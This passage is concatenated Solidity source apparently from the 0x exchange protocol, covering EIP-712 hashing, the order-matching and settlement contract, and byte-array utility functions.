_EIP712_EXCHANGE_DOMAIN_NAME,
_EIP712_EXCHANGE_DOMAIN_VERSION,
chainId,
verifyingContractAddress
);
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
library LibEIP712 {
// Hash of the EIP712 Domain Separator Schema
// keccak256(abi.encodePacked(
// "EIP712Domain(",
// "string name,",
// "string version,",
// "uint256 chainId,",
// "address verifyingContract",
// ")"
// ))
bytes32 constant internal _EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
/// @dev Calculates a EIP712 domain separator.
/// @param name The EIP712 domain name.
/// @param version The EIP712 domain version.
/// @param verifyingContract The EIP712 verifying contract.
/// @return EIP712 domain separator.
function hashEIP712Domain(
string memory name,
string memory version,
uint256 chainId,
address verifyingContract
)
internal
pure
returns (bytes32 result)
{
bytes32 schemaHash = _EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH;
// Assembly for more efficient computing:
// keccak256(abi.encodePacked(
// _EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH,
// keccak256(bytes(name)),
// keccak256(bytes(version)),
// chainId,
// uint256(verifyingContract)
// ))
assembly {
// Calculate hashes of dynamic data
let nameHash := keccak256(add(name, 32), mload(name))
let versionHash := keccak256(add(version, 32), mload(version))
// Load free memory pointer
let memPtr := mload(64)
// Store params in memory
mstore(memPtr, schemaHash)
mstore(add(memPtr, 32), nameHash)
mstore(add(memPtr, 64), versionHash)
mstore(add(memPtr, 96), chainId)
mstore(add(memPtr, 128), verifyingContract)
// Compute hash
result := keccak256(memPtr, 160)
}
return result;
}
/// @dev Calculates EIP712 encoding for a hash struct with a given domain hash.
/// @param eip712DomainHash Hash of the domain domain separator data, computed
/// with getDomainHash().
/// @param hashStruct The EIP712 hash struct.
/// @return EIP712 hash applied to the given EIP712 Domain.
function hashEIP712Message(bytes32 eip712DomainHash, bytes32 hashStruct)
internal
pure
returns (bytes32 result)
{
// Assembly for more efficient computing:
// keccak256(abi.encodePacked(
// EIP191_HEADER,
// EIP712_DOMAIN_HASH,
// hashStruct
// ));
assembly {
// Load free memory pointer
let memPtr := mload(64)
mstore(memPtr, 0x1901000000000000000000000000000000000000000000000000000000000000) // EIP191 header
mstore(add(memPtr, 2), eip712DomainHash) // EIP712 domain hash
mstore(add(memPtr, 34), hashStruct) // Hash of struct
// Compute hash
result := keccak256(memPtr, 66)
}
return result;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/LibBytes.sol";
import "@0x/contracts-utils/contracts/src/LibRichErrors.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibFillResults.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibExchangeRichErrors.sol";
import "./interfaces/IMatchOrders.sol";
import "./MixinExchangeCore.sol";
contract MixinMatchOrders is
MixinExchangeCore,
IMatchOrders
{
using LibBytes for bytes;
using LibSafeMath for uint256;
using LibOrder for LibOrder.Order;
/// @dev Match complementary orders that have a profitable spread.
/// Each order is filled at their respective price point, and
/// the matcher receives a profit denominated in the left maker asset.
/// @param leftOrders Set of orders with the same maker / taker asset.
/// @param rightOrders Set of orders to match against `leftOrders`
/// @param leftSignatures Proof that left orders were created by the left makers.
/// @param rightSignatures Proof that right orders were created by the right makers.
/// @return batchMatchedFillResults Amounts filled and profit generated.
function batchMatchOrders(
LibOrder.Order[] memory leftOrders,
LibOrder.Order[] memory rightOrders,
bytes[] memory leftSignatures,
bytes[] memory rightSignatures
)
public
payable
refundFinalBalanceNoReentry
returns (LibFillResults.BatchMatchedFillResults memory batchMatchedFillResults)
{
return _batchMatchOrders(
leftOrders,
rightOrders,
leftSignatures,
rightSignatures,
false
);
}
/// @dev Match complementary orders that have a profitable spread.
/// Each order is maximally filled at their respective price point, and
/// the matcher receives a profit denominated in either the left maker asset,
/// right maker asset, or a combination of both.
/// @param leftOrders Set of orders with the same maker / taker asset.
/// @param rightOrders Set of orders to match against `leftOrders`
/// @param leftSignatures Proof that left orders were created by the left makers.
/// @param rightSignatures Proof that right orders were created by the right makers.
/// @return batchMatchedFillResults Amounts filled and profit generated.
function batchMatchOrdersWithMaximalFill(
LibOrder.Order[] memory leftOrders,
LibOrder.Order[] memory rightOrders,
bytes[] memory leftSignatures,
bytes[] memory rightSignatures
)
public
payable
refundFinalBalanceNoReentry
returns (LibFillResults.BatchMatchedFillResults memory batchMatchedFillResults)
{
return _batchMatchOrders(
leftOrders,
rightOrders,
leftSignatures,
rightSignatures,
true
);
}
/// @dev Match two complementary orders that have a profitable spread.
/// Each order is filled at their respective price point. However, the calculations are
/// carried out as though the orders are both being filled at the right order's price point.
/// The profit made by the left order goes to the taker (who matched the two orders).
/// @param leftOrder First order to match.
/// @param rightOrder Second order to match.
/// @param leftSignature Proof that order was created by the left maker.
/// @param rightSignature Proof that order was created by the right maker.
/// @return matchedFillResults Amounts filled and fees paid by maker and taker of matched orders.
function matchOrders(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
bytes memory leftSignature,
bytes memory rightSignature
)
public
payable
refundFinalBalanceNoReentry
returns (LibFillResults.MatchedFillResults memory matchedFillResults)
{
return _matchOrders(
leftOrder,
rightOrder,
leftSignature,
rightSignature,
false
);
}
/// @dev Match two complementary orders that have a profitable spread.
/// Each order is maximally filled at their respective price point, and
/// the matcher receives a profit denominated in either the left maker asset,
/// right maker asset, or a combination of both.
/// @param leftOrder First order to match.
/// @param rightOrder Second order to match.
/// @param leftSignature Proof that order was created by the left maker.
/// @param rightSignature Proof that order was created by the right maker.
/// @return matchedFillResults Amounts filled by maker and taker of matched orders.
function matchOrdersWithMaximalFill(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
bytes memory leftSignature,
bytes memory rightSignature
)
public
payable
refundFinalBalanceNoReentry
returns (LibFillResults.MatchedFillResults memory matchedFillResults)
{
return _matchOrders(
leftOrder,
rightOrder,
leftSignature,
rightSignature,
true
);
}
/// @dev Validates context for matchOrders. Succeeds or throws.
/// @param leftOrder First order to match.
/// @param rightOrder Second order to match.
/// @param leftOrderHash First matched order hash.
/// @param rightOrderHash Second matched order hash.
function _assertValidMatch(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
bytes32 leftOrderHash,
bytes32 rightOrderHash
)
internal
pure
{
// Make sure there is a profitable spread.
// There is a profitable spread iff the cost per unit bought (OrderA.MakerAmount/OrderA.TakerAmount) for each order is greater
// than the profit per unit sold of the matched order (OrderB.TakerAmount/OrderB.MakerAmount).
// This is satisfied by the equations below:
// <leftOrder.makerAssetAmount> / <leftOrder.takerAssetAmount> >= <rightOrder.takerAssetAmount> / <rightOrder.makerAssetAmount>
// AND
// <rightOrder.makerAssetAmount> / <rightOrder.takerAssetAmount> >= <leftOrder.takerAssetAmount> / <leftOrder.makerAssetAmount>
// These equations can be combined to get the following:
if (leftOrder.makerAssetAmount.safeMul(rightOrder.makerAssetAmount) <
leftOrder.takerAssetAmount.safeMul(rightOrder.takerAssetAmount)) {
LibRichErrors.rrevert(LibExchangeRichErrors.NegativeSpreadError(
leftOrderHash,
rightOrderHash
));
}
}
/// @dev Match complementary orders that have a profitable spread.
/// Each order is filled at their respective price point, and
/// the matcher receives a profit denominated in the left maker asset.
/// This is the reentrant version of `batchMatchOrders` and `batchMatchOrdersWithMaximalFill`.
/// @param leftOrders Set of orders with the same maker / taker asset.
/// @param rightOrders Set of orders to match against `leftOrders`
/// @param leftSignatures Proof that left orders were created by the left makers.
/// @param rightSignatures Proof that right orders were created by the right makers.
/// @param shouldMaximallyFillOrders A value that indicates whether or not the order matching
/// should be done with maximal fill.
/// @return batchMatchedFillResults Amounts filled and profit generated.
function _batchMatchOrders(
LibOrder.Order[] memory leftOrders,
LibOrder.Order[] memory rightOrders,
bytes[] memory leftSignatures,
bytes[] memory rightSignatures,
bool shouldMaximallyFillOrders
)
internal
returns (LibFillResults.BatchMatchedFillResults memory batchMatchedFillResults)
{
// Ensure that the left and right orders have nonzero lengths.
if (leftOrders.length == 0) {
LibRichErrors.rrevert(LibExchangeRichErrors.BatchMatchOrdersError(
LibExchangeRichErrors.BatchMatchOrdersErrorCodes.ZERO_LEFT_ORDERS
));
}
if (rightOrders.length == 0) {
LibRichErrors.rrevert(LibExchangeRichErrors.BatchMatchOrdersError(
LibExchangeRichErrors.BatchMatchOrdersErrorCodes.ZERO_RIGHT_ORDERS
));
}
// Ensure that the left and right arrays are compatible.
if (leftOrders.length != leftSignatures.length) {
LibRichErrors.rrevert(LibExchangeRichErrors.BatchMatchOrdersError(
LibExchangeRichErrors.BatchMatchOrdersErrorCodes.INVALID_LENGTH_LEFT_SIGNATURES
));
}
if (rightOrders.length != rightSignatures.length) {
LibRichErrors.rrevert(LibExchangeRichErrors.BatchMatchOrdersError(
LibExchangeRichErrors.BatchMatchOrdersErrorCodes.INVALID_LENGTH_RIGHT_SIGNATURES
));
}
batchMatchedFillResults.left = new LibFillResults.FillResults[](leftOrders.length);
batchMatchedFillResults.right = new LibFillResults.FillResults[](rightOrders.length);
// Set up initial indices.
uint256 leftIdx = 0;
uint256 rightIdx = 0;
// Keep local variables for orders, order filled amounts, and signatures for efficiency.
LibOrder.Order memory leftOrder = leftOrders[0];
LibOrder.Order memory rightOrder = rightOrders[0];
(, uint256 leftOrderTakerAssetFilledAmount) = _getOrderHashAndFilledAmount(leftOrder);
(, uint256 rightOrderTakerAssetFilledAmount) = _getOrderHashAndFilledAmount(rightOrder);
LibFillResults.FillResults memory leftFillResults;
LibFillResults.FillResults memory rightFillResults;
// Loop infinitely (until broken inside of the loop), but keep a counter of how
// many orders have been matched.
for (;;) {
// Match the two orders that are pointed to by the left and right indices
LibFillResults.MatchedFillResults memory matchResults = _matchOrders(
leftOrder,
rightOrder,
leftSignatures[leftIdx],
rightSignatures[rightIdx],
shouldMaximallyFillOrders
);
// Update the order filled amounts with the updated takerAssetFilledAmount
leftOrderTakerAssetFilledAmount = leftOrderTakerAssetFilledAmount.safeAdd(matchResults.left.takerAssetFilledAmount);
rightOrderTakerAssetFilledAmount = rightOrderTakerAssetFilledAmount.safeAdd(matchResults.right.takerAssetFilledAmount);
// Aggregate the new fill results with the previous fill results for the current orders.
leftFillResults = LibFillResults.addFillResults(
leftFillResults,
matchResults.left
);
rightFillResults = LibFillResults.addFillResults(
rightFillResults,
matchResults.right
);
// Update the profit in the left and right maker assets using the profits from
// the match.
batchMatchedFillResults.profitInLeftMakerAsset = batchMatchedFillResults.profitInLeftMakerAsset.safeAdd(
matchResults.profitInLeftMakerAsset
);
batchMatchedFillResults.profitInRightMakerAsset = batchMatchedFillResults.profitInRightMakerAsset.safeAdd(
matchResults.profitInRightMakerAsset
);
// If the leftOrder is filled, update the leftIdx, leftOrder, and leftSignature,
// or break out of the loop if there are no more leftOrders to match.
if (leftOrderTakerAssetFilledAmount >= leftOrder.takerAssetAmount) {
// Update the batched fill results once the leftIdx is updated.
batchMatchedFillResults.left[leftIdx++] = leftFillResults;
// Clear the intermediate fill results value.
leftFillResults = LibFillResults.FillResults(0, 0, 0, 0, 0);
// If all of the left orders have been filled, break out of the loop.
// Otherwise, update the current right order.
if (leftIdx == leftOrders.length) {
// Update the right batched fill results
batchMatchedFillResults.right[rightIdx] = rightFillResults;
break;
} else {
leftOrder = leftOrders[leftIdx];
(, leftOrderTakerAssetFilledAmount) = _getOrderHashAndFilledAmount(leftOrder);
}
}
// If the rightOrder is filled, update the rightIdx, rightOrder, and rightSignature,
// or break out of the loop if there are no more rightOrders to match.
if (rightOrderTakerAssetFilledAmount >= rightOrder.takerAssetAmount) {
// Update the batched fill results once the rightIdx is updated.
batchMatchedFillResults.right[rightIdx++] = rightFillResults;
// Clear the intermediate fill results value.
rightFillResults = LibFillResults.FillResults(0, 0, 0, 0, 0);
// If all of the right orders have been filled, break out of the loop.
// Otherwise, update the current right order.
if (rightIdx == rightOrders.length) {
// Update the left batched fill results
batchMatchedFillResults.left[leftIdx] = leftFillResults;
break;
} else {
rightOrder = rightOrders[rightIdx];
(, rightOrderTakerAssetFilledAmount) = _getOrderHashAndFilledAmount(rightOrder);
}
}
}
// Return the fill results from the batch match
return batchMatchedFillResults;
}
/// @dev Match two complementary orders that have a profitable spread.
/// Each order is filled at their respective price point. However, the calculations are
/// carried out as though the orders are both being filled at the right order's price point.
/// The profit made by the left order goes to the taker (who matched the two orders). This
/// function is needed to allow for reentrant order matching (used by `batchMatchOrders` and
/// `batchMatchOrdersWithMaximalFill`).
/// @param leftOrder First order to match.
/// @param rightOrder Second order to match.
/// @param leftSignature Proof that order was created by the left maker.
/// @param rightSignature Proof that order was created by the right maker.
/// @param shouldMaximallyFillOrders Indicates whether or not the maximal fill matching strategy should be used
/// @return matchedFillResults Amounts filled and fees paid by maker and taker of matched orders.
function _matchOrders(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
bytes memory leftSignature,
bytes memory rightSignature,
bool shouldMaximallyFillOrders
)
internal
returns (LibFillResults.MatchedFillResults memory matchedFillResults)
{
// We assume that rightOrder.takerAssetData == leftOrder.makerAssetData and rightOrder.makerAssetData == leftOrder.takerAssetData
// by pointing these values to the same location in memory. This is cheaper than checking equality.
// If this assumption isn't true, the match will fail at signature validation.
rightOrder.makerAssetData = leftOrder.takerAssetData;
rightOrder.takerAssetData = leftOrder.makerAssetData;
// Get left & right order info
LibOrder.OrderInfo memory leftOrderInfo = getOrderInfo(leftOrder);
LibOrder.OrderInfo memory rightOrderInfo = getOrderInfo(rightOrder);
// Fetch taker address
address takerAddress = _getCurrentContextAddress();
// Either our context is valid or we revert
_assertFillableOrder(
leftOrder,
leftOrderInfo,
takerAddress,
leftSignature
);
_assertFillableOrder(
rightOrder,
rightOrderInfo,
takerAddress,
rightSignature
);
_assertValidMatch(
leftOrder,
rightOrder,
leftOrderInfo.orderHash,
rightOrderInfo.orderHash
);
// Compute proportional fill amounts
matchedFillResults = LibFillResults.calculateMatchedFillResults(
leftOrder,
rightOrder,
leftOrderInfo.orderTakerAssetFilledAmount,
rightOrderInfo.orderTakerAssetFilledAmount,
protocolFeeMultiplier,
tx.gasprice,
shouldMaximallyFillOrders
);
// Update exchange state
_updateFilledState(
leftOrder,
takerAddress,
leftOrderInfo.orderHash,
leftOrderInfo.orderTakerAssetFilledAmount,
matchedFillResults.left
);
_updateFilledState(
rightOrder,
takerAddress,
rightOrderInfo.orderHash,
rightOrderInfo.orderTakerAssetFilledAmount,
matchedFillResults.right
);
// Settle matched orders. Succeeds or throws.
_settleMatchedOrders(
leftOrderInfo.orderHash,
rightOrderInfo.orderHash,
leftOrder,
rightOrder,
takerAddress,
matchedFillResults
);
return matchedFillResults;
}
/// @dev Settles matched order by transferring appropriate funds between order makers, taker, and fee recipient.
/// @param leftOrderHash First matched order hash.
/// @param rightOrderHash Second matched order hash.
/// @param leftOrder First matched order.
/// @param rightOrder Second matched order.
/// @param takerAddress Address that matched the orders. The taker receives the spread between orders as profit.
/// @param matchedFillResults Struct holding amounts to transfer between makers, taker, and fee recipients.
function _settleMatchedOrders(
bytes32 leftOrderHash,
bytes32 rightOrderHash,
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
address takerAddress,
LibFillResults.MatchedFillResults memory matchedFillResults
)
internal
{
address leftMakerAddress = leftOrder.makerAddress;
address rightMakerAddress = rightOrder.makerAddress;
address leftFeeRecipientAddress = leftOrder.feeRecipientAddress;
address rightFeeRecipientAddress = rightOrder.feeRecipientAddress;
// Right maker asset -> left maker
_dispatchTransferFrom(
rightOrderHash,
rightOrder.makerAssetData,
rightMakerAddress,
leftMakerAddress,
matchedFillResults.left.takerAssetFilledAmount
);
// Left maker asset -> right maker
_dispatchTransferFrom(
leftOrderHash,
leftOrder.makerAssetData,
leftMakerAddress,
rightMakerAddress,
matchedFillResults.right.takerAssetFilledAmount
);
// Right maker fee -> right fee recipient
_dispatchTransferFrom(
rightOrderHash,
rightOrder.makerFeeAssetData,
rightMakerAddress,
rightFeeRecipientAddress,
matchedFillResults.right.makerFeePaid
);
// Left maker fee -> left fee recipient
_dispatchTransferFrom(
leftOrderHash,
leftOrder.makerFeeAssetData,
leftMakerAddress,
leftFeeRecipientAddress,
matchedFillResults.left.makerFeePaid
);
// Settle taker profits.
_dispatchTransferFrom(
leftOrderHash,
leftOrder.makerAssetData,
leftMakerAddress,
takerAddress,
matchedFillResults.profitInLeftMakerAsset
);
_dispatchTransferFrom(
rightOrderHash,
rightOrder.makerAssetData,
rightMakerAddress,
takerAddress,
matchedFillResults.profitInRightMakerAsset
);
// Pay protocol fees for each maker
bool didPayProtocolFees = _payTwoProtocolFees(
leftOrderHash,
rightOrderHash,
matchedFillResults.left.protocolFeePaid,
leftMakerAddress,
rightMakerAddress,
takerAddress
);
// Protocol fees are not paid if the protocolFeeCollector contract is not set
if (!didPayProtocolFees) {
matchedFillResults.left.protocolFeePaid = 0;
matchedFillResults.right.protocolFeePaid = 0;
}
// Settle taker fees.
if (
leftFeeRecipientAddress == rightFeeRecipientAddress &&
leftOrder.takerFeeAssetData.equals(rightOrder.takerFeeAssetData)
) {
// Fee recipients and taker fee assets are identical, so we can
// transfer them in one go.
_dispatchTransferFrom(
leftOrderHash,
leftOrder.takerFeeAssetData,
takerAddress,
leftFeeRecipientAddress,
matchedFillResults.left.takerFeePaid.safeAdd(matchedFillResults.right.takerFeePaid)
);
} else {
// Right taker fee -> right fee recipient
_dispatchTransferFrom(
rightOrderHash,
rightOrder.takerFeeAssetData,
takerAddress,
rightFeeRecipientAddress,
matchedFillResults.right.takerFeePaid
);
// Left taker fee -> left fee recipient
_dispatchTransferFrom(
leftOrderHash,
leftOrder.takerFeeAssetData,
takerAddress,
leftFeeRecipientAddress,
matchedFillResults.left.takerFeePaid
);
}
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
import "./LibBytesRichErrors.sol";
import "./LibRichErrors.sol";
library LibBytes {
using LibBytes for bytes;
/// @dev Gets the memory address for a byte array.
/// @param input Byte array to lookup.
/// @return memoryAddress Memory address of byte array. This
/// points to the header of the byte array which contains
/// the length.
function rawAddress(bytes memory input)
internal
pure
returns (uint256 memoryAddress)
{
assembly {
memoryAddress := input
}
return memoryAddress;
}
/// @dev Gets the memory address for the contents of a byte array.
/// @param input Byte array to lookup.
/// @return memoryAddress Memory address of the contents of the byte array.
function contentAddress(bytes memory input)
internal
pure
returns (uint256 memoryAddress)
{
assembly {
memoryAddress := add(input, 32)
}
return memoryAddress;
}
/// @dev Copies `length` bytes from memory location `source` to `dest`.
/// @param dest memory address to copy bytes to.
/// @param source memory address to copy bytes from.
/// @param length number of bytes to copy.
function memCopy(
uint256 dest,
uint256 source,
uint256 length
)
internal
pure
{
if (length < 32) {
// Handle a partial word by reading destination and masking
// off the bits we are interested in.
// This correctly handles overlap, zero lengths and source == dest
assembly {
let mask := sub(exp(256, sub(32, length)), 1)
let s := and(mload(source), not(mask))
let d := and(mload(dest), mask)
mstore(dest, or(s, d))
}
} else {
// Skip the O(length) loop when source == dest.
if (source == dest) {
return;
}
// For large copies we copy whole words at a time. The final
// word is aligned to the end of the range (instead of after the
// previous) to handle partial words. So a copy will look like this:
//
// ####
// ####
// ####
// ####
//
// We handle overlap in the source and destination range by
// changing the copying direction. This prevents us from
// overwriting parts of source that we still need to copy.
//
// This correctly handles source == dest
//
if (source > dest) {
assembly {
// We subtract 32 from `sEnd` and `dEnd` because it
// is easier to compare with in the loop, and these
// are also the addresses we need for copying the
// last bytes.
length := sub(length, 32)
let sEnd := add(source, length)
let dEnd := add(dest, length)
// Remember the last 32 bytes of source
// This needs to be done here and not after the loop
// because we may have overwritten the last bytes in
// source already due to overlap.
let last := mload(sEnd)
// Copy whole words front to back
// Note: the first check is always true,
// this could have been a do-while loop.
// solhint-disable-next-line no-empty-blocks
for {} lt(source, sEnd) {} {
mstore(dest, mload(source))
source := add(source, 32)
dest := add(dest, 32)
}
// Write the last 32 bytes
mstore(dEnd, last)
}
} else {
assembly {
// We subtract 32 from `sEnd` and `dEnd` because those
// are the starting points when copying a word at the end.
length := sub(length, 32)
let sEnd := add(source, length)
let dEnd := add(dest, length)
// Remember the first 32 bytes of source
// This needs to be done here and not after the loop
// because we may have overwritten the first bytes in
// source already due to overlap.
let first := mload(source)
// Copy whole words back to front
// We use a signed comparisson here to allow dEnd to become
// negative (happens when source and dest < 32). Valid
// addresses in local memory will never be larger than
// 2**255, so they can be safely re-interpreted as signed.
// Note: the first check is always true,
// this could have been a do-while loop.
// solhint-disable-next-line no-empty-blocks
for {} slt(dest, dEnd) {} {
mstore(dEnd, mload(sEnd))
sEnd := sub(sEnd, 32)
dEnd := sub(dEnd, 32)
}
// Write the first 32 bytes
mstore(dest, first)
}
}
}
}
/// @dev Returns a slices from a byte array.
/// @param b The byte array to take a slice from.
/// @param from The starting index for the slice (inclusive).
/// @param to The final index for the slice (exclusive).
/// @return result The slice containing bytes at indices [from, to)
function slice(
bytes memory b,
uint256 from,
uint256 to
)
internal
pure
returns (bytes memory result)
{
// Ensure that the from and to positions are valid positions for a slice within
// the byte array that is being used.
if (from > to) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.FromLessThanOrEqualsToRequired,
from,
to
));
}
if (to > b.length) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.ToLessThanOrEqualsLengthRequired,
to,
b.length
));
}
// Create a new bytes structure and copy contents
result = new bytes(to - from);
memCopy(
result.contentAddress(),
b.contentAddress() + from,
result.length
);
return result;
}
/// @dev Returns a slice from a byte array without preserving the input.
/// @param b The byte array to take a slice from. Will be destroyed in the process.
/// @param from The starting index for the slice (inclusive).
/// @param to The final index for the slice (exclusive).
/// @return result The slice containing bytes at indices [from, to)
/// @dev When `from == 0`, the original array will match the slice. In other cases its state will be corrupted.
function sliceDestructive(
bytes memory b,
uint256 from,
uint256 to
)
internal
pure
returns (bytes memory result)
{
// Ensure that the from and to positions are valid positions for a slice within
// the byte array that is being used.
if (from > to) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.FromLessThanOrEqualsToRequired,
from,
to
));
}
if (to > b.length) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.ToLessThanOrEqualsLengthRequired,
to,
b.length
));
}
// Create a new bytes structure around [from, to) in-place.
assembly {
result := add(b, from)
mstore(result, sub(to, from))
}
return result;
}
/// @dev Pops the last byte off of a byte array by modifying its length.
/// @param b Byte array that will be modified.
/// @return The byte that was popped off.
function popLastByte(bytes memory b)
internal
pure
returns (bytes1 result)
{
if (b.length == 0) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanZeroRequired,
b.length,
0
));
}
// Store last byte.
result = b[b.length - 1];
assembly {
// Decrement length of byte array.
let newLen := sub(mload(b), 1)
mstore(b, newLen)
}
return result;
}
/// @dev Tests equality of two byte arrays.
/// @param lhs First byte array to compare.
/// @param rhs Second byte array to compare.
/// @return True if arrays are the same. False otherwise.
function equals(
bytes memory lhs,
bytes memory rhs
)
internal
pure
returns (bool equal)
{
// Keccak gas cost is 30 + numWords * 6. This is a cheap way to compare.
// We early exit on unequal lengths, but keccak would also correctly
// handle this.
return lhs.length == rhs.length && keccak256(lhs) == keccak256(rhs);
}
/// @dev Reads an address from a position in a byte array.
/// @param b Byte array containing an address.
/// @param index Index in byte array of address.
/// @return address from byte array.
function readAddress(
bytes memory b,
uint256 index
)
internal
pure
returns (address result)
{
if (b.length < index + 20) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsTwentyRequired,
b.length,
index + 20 // 20 is length of address
));
}
// Add offset to index:
// 1. Arrays are prefixed by 32-byte length parameter (add 32 to index)
// 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index)
index += 20;
// Read address from array memory
assembly {
// 1. Add index to address of bytes array
// 2. Load 32-byte word from memory
// 3. Apply 20-byte mask to obtain address
result := and(mload(add(b, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
return result;
}
/// @dev Writes an address into a specific position in a byte array.
/// @param b Byte array to insert address into.
/// @param index Index in byte array of address.
/// @param input Address to put into byte array.
function writeAddress(
bytes memory b,
uint256 index,
address input
)
internal
pure
{
if (b.length < index + 20) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsTwentyRequired,
b.length,
index + 20 // 20 is length of address
));
}
// Add offset to index:
// 1. Arrays are prefixed by 32-byte length parameter (add 32 to index)
// 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index)
index += 20;
// Store address into array memory
assembly {
// The address occupies 20 bytes and mstore stores 32 bytes.
// First fetch the 32-byte word where we'll be storing the address, then
// apply a mask so we have only the bytes in the word that the address will not occupy.
// Then combine these bytes with the address and store the 32 bytes back to memory with mstore.
// 1. Add index to address of bytes array
// 2. Load 32-byte word from memory
// 3. Apply 12-byte mask to obtain extra bytes occupying word of memory where we'll store the address
let neighbors := and(
mload(add(b, index)),
0xffffffffffffffffffffffff0000000000000000000000000000000000000000
)
// Make sure input address is clean.
// (Solidity does not guarantee this)
input := and(input, 0xffffffffffffffffffffffffffffffffffffffff)
// Store the neighbors and address into memory
mstore(add(b, index), xor(input, neighbors))
}
}
/// @dev Reads a bytes32 value from a position in a byte array.
/// @param b Byte array containing a bytes32 value.
/// @param index Index in byte array of bytes32 value.
/// @return bytes32 value from byte array.
function readBytes32(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes32 result)
{
if (b.length < index + 32) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsThirtyTwoRequired,
b.length,
index + 32
));
}
// Arrays are prefixed by a 256 bit length parameter
index += 32;
// Read the bytes32 from array memory
assembly {
result := mload(add(b, index))
}
return result;
}
/// @dev Writes a bytes32 into a specific position in a byte array.
/// @param b Byte array to insert <input> into.
/// @param index Index in byte array of <input>.
/// @param input bytes32 to put into byte array.
function writeBytes32(
bytes memory b,
uint256 index,
bytes32 input
)
internal
pure
{
if (b.length < index + 32) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsThirtyTwoRequired,
b.length,
index + 32
));
}
// Arrays are prefixed by a 256 bit length parameter
index += 32;
// Read the bytes32 from array memory
assembly {
mstore(add(b, index), input)
}
}
/// @dev Reads a uint256 value from a position in a byte array.
/// @param b Byte array containing a uint256 value.
/// @param index Index in byte array of uint256 value.
/// @return uint256 value from byte array.
function readUint256(
bytes memory b,
uint256 index
)
internal
pure
returns (uint256 result)
{
result = uint256(readBytes32(b, index));
return result;
}
/// @dev Writes a uint256 into a specific position in a byte array.
/// @param b Byte array to insert <input> into.
/// @param index Index in byte array of <input>.
/// @param input uint256 to put into byte array.
function writeUint256(
bytes memory b,
uint256 index,
uint256 input
)
internal
pure
{
writeBytes32(b, index, bytes32(input));
}
/// @dev Reads an unpadded bytes4 value from a position in a byte array.
/// @param b Byte array containing a bytes4 value.
/// @param index Index in byte array of bytes4 value.
/// @return bytes4 value from byte array.
function readBytes4(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes4 result)
{
if (b.length < index + 4) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsFourRequired,
b.length,
index + 4
));
}
// Arrays are prefixed by a 32 byte length field
index += 32;
// Read the bytes4 from array memory
assembly {
result := mload(add(b, index))
// Solidity does not require us to clean the trailing bytes.
// We do it anyway
result := and(result, 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000)
}
return result;
}
/// @dev Writes a new length to a byte array.
/// Decreasing length will lead to removing the corresponding lower order bytes from the byte array.
/// Increasing length may lead to appending adjacent in-memory bytes to the end of the byte array.
/// @param b Bytes array to write new length to.
/// @param length New length of byte array.
function writeLength(bytes memory b, uint256 length)
internal
pure
{
